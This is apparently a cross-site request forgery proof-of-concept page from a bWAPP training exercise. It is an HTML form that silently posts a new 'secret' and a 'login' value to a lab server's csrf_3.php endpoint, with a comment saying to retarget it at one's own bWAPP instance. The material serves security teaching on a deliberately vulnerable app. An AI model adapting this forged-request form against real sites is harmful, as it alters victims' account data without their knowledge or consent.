resources/csrf_2.html

<!DOCTYPE html>
<html>
<div id="main">
    
    <h1>CSRF (Change Secret)</h1>

    <p>Change your secret.</p>

    <!-- Change the action to your own bwapp server -->
    <form action="http://192.168.1.9/bWAPP/csrf_3.php" method="POST">

        <p><label for="secret">New secret:</label><br>
        <input value="bug" id="secret" name="secret" type="text"></p>

        <div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [login] <input name="login" value="bee"></div>

        <button type="submit" name="action" value="change">Change</button>
    </form>
</div>
</body></html>